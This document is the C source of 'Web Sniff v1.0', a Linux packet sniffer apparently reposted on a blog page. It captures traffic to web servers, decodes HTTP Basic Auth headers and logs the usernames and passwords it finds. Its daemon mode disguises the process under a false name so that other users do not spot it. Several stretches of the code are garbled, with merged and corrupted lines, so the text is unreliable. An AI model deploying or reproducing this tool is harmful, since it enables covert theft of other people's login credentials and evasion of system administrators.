*
* Web Sniff v1.0 for Linux
*
* Coded by BeastMaster V
* http://www.rootshell.com
*
* EMAIL: All questions or
* comments should be sent to
* bryan@scott.net
*
* DESCRIPTION: This program
* sniffs packets destined for
* webservers and scans for
* headers with Basic Auth.
* then automatically decodes
* the auth. string giving a
* username/passwd in cleartext.
*
* BUGS: In the verbose mode,
* source/destination headers
* get out of sync with data.
* In daemon mode, source/dest.
* headers may not be reliable.
*
* DISCLAIMER: Please use
* this program in a
* responsible manner.
*
*/
#define DEFAULT_WEB_PORT 80
#define CAPTURE_LENGTH 1024
#define TIMEOUT 30
#define INTERFACE "eth0"
#define ISBLANK(x) (((x) == ' ') || ((x) == '\t'))
#define SPACELEFT(buf, ptr) (sizeof buf - ((ptr) - buf))
#define newstr(s) strcpy(malloc(strlen(s) + 1), s)
struct BASE64_PARAMS {
unsigned long int accum;
int shift;
int save_shift;
};
struct etherpacket {
struct ethhdr ether_header;
struct iphdr ip_header;
struct tcphdr tcp_header;
char buff[8192];
} ether_packet;
struct
{
unsigned long source_addr;
unsigned long dest_addr;
unsigned short source_port;
unsigned short dest_port;
int bytes_read;
char active;
time_t start_time;
char tmp_realm[1024];
char tmp_host[512];
} target;
struct iphdr *ip;
struct tcphdr *tcp;
char **Argv = NULL;
char *LastArgv = NULL;
short daemon_mode;
short verbose_mode;
unsigned short user_port;
FILE *daemon_fd=NULL;
int sock;
/* function declarations */
char *lookup(unsigned long int);
char *dateTime();
/* BeastMaster V's implementation of signal */
void (*
r_signal(sig, func)) (int)
int sig;
void (*func) ();
{
struct sigaction act, oact;
act.sa_handler = func;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
#ifdef SA_RESTART
act.sa_flags |= SA_RESTART;
#endif
if (sigaction(sig, &act, &oact) < rc =" fork())"> 0)
exit(0);
else if (rc <0) fd =" open(" p =" buf;" i =" strlen(buf);"> LastArgv - Argv[0] - 2)
{
i = LastArgv - Argv[0] - 2;
buf[i] = '\0';
}
(void) strcpy(Argv[0], buf);
p = &Argv[0][i];
while (p < i =" 0;" environ =" (char" i =" 0;" argv =" argv;"> 0)
LastArgv = envp[i - 1] + strlen(envp[i - 1]);
else
LastArgv = argv[argc - 1] + strlen(argv[argc - 1]);
}
/* converts base64 ascii to integer code */
int cvt_ascii( unsigned char alpha )
{
if ( (alpha >= 'A') && (alpha <= 'Z') ) return (int)(alpha - 'A'); else if ( (alpha >= 'a') && (alpha <= 'z') ) return 26 + (int)(alpha - 'a'); else if ( (alpha >= '0') && (alpha <= '9' ) ) return 52 + (int)(alpha - '0'); else if ( alpha == '+' ) return 62; else if ( alpha == '/' ) return 63; else if ( alpha == '=' ) return -2; else return -1; } /* this does the actual base64 decoding */ void base64_decode(char *buf,int quit,struct BASE64_PARAMS *d,char *auth_buf) { int index; unsigned long int value; unsigned char blivit; unsigned short j=0; index = 0; *(auth_buf+0)='\0'; while ( ISBLANK(buf[index] ) ) { index++; /* skip leading blanks */ } for ( index = 0; (buf[index] != '\n') && (buf[index] != '\0') && (buf[index] != ' ' ); index++) { if (index==(264-5)) return; value = cvt_ascii( buf[index] ); /* find chr in base64 alphabet */ if ( value <>accum <<= 6; /* assemble binary accum */ d->shift += 6;
d->accum |= value;
if ( d->shift >= 8 )
{
d->shift -= 8;
value = d->accum >> d->shift;
blivit = (unsigned char)value & 0xFFl;
*(auth_buf+j) = (char )blivit;
j++;
}
}
else /* else if out of base64 range */
{
quit = 1; /* then finished */
break;
}
}
*(auth_buf+j)='\0';
return;
}
/* this is a nice way to call the base64 decode function */
void decode(char *b64_string, char *user_buff)
{
struct BASE64_PARAMS d_p;
int quit=0;
d_p.shift = 0;
d_p.accum = 0;
base64_decode((char *)b64_string, quit, &d_p, user_buff);
return;
}
/* checks for authorization and parses out username and password */
void parse_segment(char *data)
{
short i,j=0;
char foo[256];
char user[128];
char pass[128];
if ((!strncmp(data,"GET ",4))||(!strncmp(data,"POST ",5))||(!strncmp(data,"HEAD ",5)))
strncpy(target.tmp_realm,data,strlen(data));
/* you might want to change this to a more intelligent test */
if (!strncasecmp(data,"Authorization: Basic",20)) {
if (strlen(data+21)>sizeof(foo))
*(data+21+sizeof(foo-1))='\0';
decode(data+21,foo);
for (i=0;foo[i];i++) {
if (foo[i]==':')
break;
user[i]=foo[i];
}
user[i]='\0';
for (++i; foo[i]; i++) {
pass[j]=foo[i];
j++;
}
pass[j]='\0';
if (daemon_mode) {
fprintf(daemon_fd,"\n####### [%s]\n",dateTime());
fprintf(daemon_fd,"%s",target.tmp_host);
fprintf(daemon_fd,"REALM REQUESTED: %s\n", target.tmp_realm);
fprintf(daemon_fd,"---[ USER = %s PASS = %s ]---\n",user,pass);
fprintf(daemon_fd,"#######\n\n");
fflush(daemon_fd);
} else {
printf("\n----------[ USER = %s PASS = %s ]----------\n",user,pass);
fflush(stdout);
}
}
return;
}
/* read data from ether_packet.buff and parse check each line */
int scan_data(int datalen, char *data)
{
int i=0, t=0;
char data_buff[CAPTURE_LENGTH];
target.bytes_read=target.bytes_read+datalen;
memset(target.tmp_realm,'\0',sizeof(target.tmp_realm));
sprintf(target.tmp_host,"[%s] [%d] => ",lookup(target.source_addr),ntohs(target.source_port));
sprintf(data_buff,"[%s] [%d]\n",lookup(target.dest_addr),ntohs(target.dest_port));
strcat(target.tmp_host,data_buff);
data_buff[0]='\0';
for(i=0;i != datalen;i++)
{
if(data[i] == 13)
{
data_buff[t]='\0';
if (verbose_mode) {
printf("%s\n", data_buff);
fflush(stdout);
}
parse_segment(data_buff);
t=0;
}
if(isprint(data[i]))
{
data_buff[t]=data[i];
t++;
}
if(t > 255)
{
t=0;
data_buff[t]='\0';
if (verbose_mode) {
printf("%s\n", data_buff);
fflush(stdout);
}
parse_segment(data_buff);
}
}
}
/* handler for segmentation violations */
void seg_fault (int sig)
{
fprintf(stderr, "\n");
fprintf(stderr, "Segmentation Violation!\n");
fprintf(stderr, "\n");
fprintf(stderr, "Congratulations! You have crashed my program.\n");
fprintf(stderr, "Please mail me: bryan@scott.net\n");
fprintf(stderr, "describing *exactly* what you did to make this\n");
fprintf(stderr, "program crash. Thanks and have a nice day :-)\n");
fprintf(stderr, "\n");
exit(EXIT_FAILURE);
}
/* resolves a hostname via gethostbyaddr() */
char *lookup(unsigned long int network_address)
{
static char buf[1024];
struct in_addr my_addr;
struct hostent *he;
my_addr.s_addr=network_address;
he=gethostbyaddr((char *)&my_addr,sizeof(struct in_addr),AF_INET);
if (he==NULL)
sprintf(buf,inet_ntoa(my_addr));
else
sprintf(buf,he->h_name);
return (buf);
}
/* this function returns the data and time */
char * dateTime()
{
time_t t;
char * s;
time(&t);
s = (char *)ctime((const time_t *)&t);
s[24] = '\0';
return s;
}
/* handler when program is terminated noramlly */
void bye(int sig)
{
if (daemon_mode) {
fprintf(daemon_fd, "\n*** Daemon Mode Ending at [%s] ***\n",dateTime());
fclose(daemon_fd);
}
close(sock);
exit(0);
}
/* filters out all other packets except for ones were intrested in */
int packet_filter ()
{
unsigned short port;
if (ip->protocol !=6) return (0);
if (target.active !=0)
if (target.bytes_read > CAPTURE_LENGTH)
{
bzero(&target, sizeof(target));
return(0);
}
if (user_port!=0)
port=user_port;
else
port=DEFAULT_WEB_PORT;
if (ntohs(tcp->dest)!=port)
return(0);
else
{
if (tcp->syn==1)
{
target.source_addr=ip->saddr;
target.dest_addr=ip->daddr;
target.active=1;
target.source_port=tcp->source;
target.dest_port=tcp->dest;
target.bytes_read=0;
target.start_time=time(NULL);
if (verbose_mode) {
printf("[%s] [%d] => ",lookup(target.source_addr),
ntohs(target.source_port));
printf("[%s] [%d]\n", lookup(target.dest_addr),
ntohs(target.dest_port));
fflush(stdout);
}
}
}
return(1);
}
/* prints the usage for our program */
void print_usage (char *prog_name)
{
printf("\n");
printf("### Web Sniffer v1.0 by BeastMaster V ###\n");
printf(" http://www.rootshell.com\n");
printf("\n");
printf("Usage:\n");
printf("\n");
printf("%s [-d|-v] [-p
printf("\n");
printf("-d : run as a daemon and print output to logfile.\n");
printf("-v : run in foreground and print output to stdout.\n");
printf("-p : optionally specifies port number to sniff on.\n");
printf("\n");
}
/* start here */
int main ( argc, argv, envp )
unsigned int argc;
char **argv;
char **envp;
{
int i, x, c;
extern int optind;
extern char *optarg;
struct ifreq req;
short argsLeft=0;
short errFlag=0;
char *port_ptr=NULL;
char title[1024];
r_signal(SIGSEGV, seg_fault);
r_signal(SIGTERM, bye);
r_signal(SIGQUIT, bye);
r_signal(SIGHUP, bye);
if (getuid() && geteuid()) {
fprintf(stderr, "\nYou need to be root in order to run this.\n\n");
exit(EXIT_FAILURE);
}
memset(title,'\0',sizeof(title));
verbose_mode=0;
daemon_mode=0;
user_port=0;
while((c=getopt(argc,argv,"dvp:"))!= EOF)
switch(c) {
case 'd':
if (verbose_mode)
errFlag++;
else
daemon_mode=1;
break;
case 'v':
if (daemon_mode)
errFlag++;
else
verbose_mode=1;
break;
case 'p':
port_ptr=optarg;
user_port=atoi(port_ptr);
break;
case '?':
errFlag++;
}
argsLeft=argc-optind;
if ((!daemon_mode && !verbose_mode)||errFlag||argsLeft) {
print_usage(argv[0]);
exit(EXIT_FAILURE);
}
if (daemon_mode) {
printf("\n");
printf("*** Daemon Mode ***\n");
printf("Enter in the full path to the logfile\n");
fgets(title,sizeof(title),stdin);
for (c=0; title[c]; c++)
if (title[c]=='\n') {
title[c]='\0';
break;
}
if ((daemon_fd=fopen(title,"a+"))==NULL) {
fprintf(stderr, "Could not open logfile: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
printf("Enter in a process title to masquerade as so\n");
printf("it won't be quite so obvious to other users what\n");
printf("we are really doing (i.e: bash, ftp, in.telnetd, vi ...)\n");
fgets(title,sizeof(title),stdin);
for (c=0; title[c]; c++)
if (title[c]=='\n') {
title[c]='\0';
break;
}
printf("Setting process title to: %s\n", title);
initsetproctitle(argc, argv, envp);
setproctitle("%s", title);
printf("Daemon Mode Started.\n");
detach();
fprintf(daemon_fd, "\n*** Daemon Mode Started at [%s] ***\n",dateTime());
fflush(daemon_fd);
}
sock=socket(AF_INET, SOCK_PACKET, htons(0x800));
if (sock <0) i="ioctl(sock," i="ioctl(sock," ip="(struct" tcp="(struct" x="read(sock,ðer_packet,sizeof(ether_packet));"> 1)
{
if (packet_filter()==0) continue;
x=x-54;
if (x<1)>tot_len)-sizeof(ether_packet.ip_header)-
sizeof(ether_packet.tcp_header),ether_packet.buff-2);
}
}
Credit: http://www.darkc0de.com

No comments:
Post a Comment